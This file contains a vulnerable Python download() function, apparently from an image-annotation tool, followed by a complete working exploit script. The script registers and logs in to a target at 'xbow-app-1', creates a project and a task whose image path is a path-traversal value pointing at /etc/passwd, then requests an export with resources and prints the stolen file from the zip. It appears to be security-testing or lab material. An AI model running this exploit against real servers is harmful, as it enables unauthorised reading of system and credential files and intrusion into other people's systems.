def download(
    url,
    output_dir,
    filename=None,
    project_dir=None,
    return_relative_path=False,
    upload_dir=None,
    download_resources=True,
):
    is_local_file = url.startswith("/data/") and "?d=" in url
    is_uploaded_file = url.startswith("/data/upload")

    if is_uploaded_file:
        upload_dir = _get_upload_dir(project_dir, upload_dir)
        filename = urllib.parse.unquote(url.replace("/data/upload/", ""))
        filepath = os.path.join(upload_dir, filename)
        logger.debug(
            f"Copy {filepath} to {output_dir}".format(
                filepath=filepath, output_dir=output_dir
            )
        )
        if download_resources:
            shutil.copy(filepath, output_dir)
        if return_relative_path:
            return os.path.join(
                os.path.basename(output_dir), os.path.basename(filename)
            )
        return filepath

    if is_local_file:
        filename, dir_path = url.split("/data/", 1)[-1].split("?d=")
        dir_path = str(urllib.parse.unquote(dir_path))
        filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)
        if not os.path.exists(filepath):
            raise FileNotFoundError(filepath)
        if download_resources:
            shutil.copy(filepath, output_dir)
        return filepath

import requests
from bs4 import BeautifulSoup
import io
import zipfile


BASE_URL = "http://xbow-app-1:8000"
USERNAME = "[email protected]"
PASSWORD = "Test123!@#"
METHOD = "is_uploaded_file" # Valid values: "is_uploaded_file" or "is_local_file"
EXPORT_TYPE = "VOC"         # Valid values: "VOC", "COCO" or "YOLO"

print("Signing up...")
url = "%s/user/signup/" % BASE_URL
session = requests.Session()

# First get the CSRF token
response = session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
print(f"Got CSRF token: {csrf_token}")

# Prepare registration data
data = {
    'csrfmiddlewaretoken': csrf_token,
    'email': USERNAME,
    'password': PASSWORD,
    'allow_newsletters': 'false',
    'allow_newsletters_visual': 'false'
}

headers = {
    'Referer': url,
    'Content-Type': 'application/x-www-form-urlencoded',
}

# Submit the registration request
response = session.post(url, data=data, headers=headers)
print(f"User registration response status code: {response.status_code}\n")

# Login
print("Logging in...")
url = "%s/user/login" % BASE_URL

# Attempt login with our credentials
login_data = {
    'csrfmiddlewaretoken': csrf_token,
    'email': USERNAME,
    'password': PASSWORD,
}

headers = {
    'Referer': url,
    'Content-Type': 'application/x-www-form-urlencoded',
}

response = session.post(url, data=login_data, headers=headers)

print(f"Login response status code: {response.status_code}")

# Check if we got any tokens in the response
print("\nCookies after login:")
for cookie in session.cookies:
    print(f"{cookie.name}: {cookie.value}")


# We will use these headers moving forward
headers = {
    'Content-Type': 'application/json',
    'X-CSRFToken': session.cookies['csrftoken']
}

# Creat a project to then create a task associated to it
print("\nCreating project...")
# Try to create a project with a file upload configuration
project_data = {
    "title": "File Upload Test",
    "description": "Testing file upload functionality",
    "label_config": """
    <View>
      <Image name="image" value="$image"/>
      <Text name="text" value="$text"/>
      <Choices name="choice" toName="image">
        <Choice value="yes"/>
        <Choice value="no"/>
      </Choices>
    </View>
    """
}
response = session.post("%s/api/projects/" % BASE_URL, json=project_data, headers=headers)
if response.status_code != 201:
    print("Problem creating project, aborting")
    exit(0)    
project_id = response.json()['id']
print(f"Project ID: {project_id}\n")

# Create task using a filename to later abuse a path traversal vulnerability during file export
print(f"Creating task with method {METHOD} (defaults to is_local_file)...")
task_data = {}
if (METHOD == "is_uploaded_file"):
    task_data["data"] = {
            "text": "test",
            "image": "/data/upload/../../../../../etc/passwd"    # Trigger for is_uploaded_file
    }
else:
    task_data["data"] = {
            "text": "test",
            "image": "/data/local-files/?d=../../../etc/passwd" # Trigger for is_local_file
    }
response = session.post(f"{BASE_URL}/api/projects/{project_id}/tasks", json=task_data, headers=headers)
if response.status_code != 201:
    print("Problem creating task, aborting")
    exit(0)    
task_id = response.json()['id']
print(f"Task created successfully, task id: {task_id}\n")

# Issue a dummy upload request to force the creation of the ~/data/images/upload folder
response = session.post(f"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false", files={"bar.png":"data"})

# Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)
response = session.get(f"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true")
if (response.status_code != 200):
    print("Couldn't fetch export file")
    exit(0)

file_like_object = io.BytesIO(response.content)
zipfile_ob = zipfile.ZipFile(file_like_object)
print("Dumping /etc/passwd file contents:")
print(zipfile_ob.read("images/passwd").decode("utf-8"))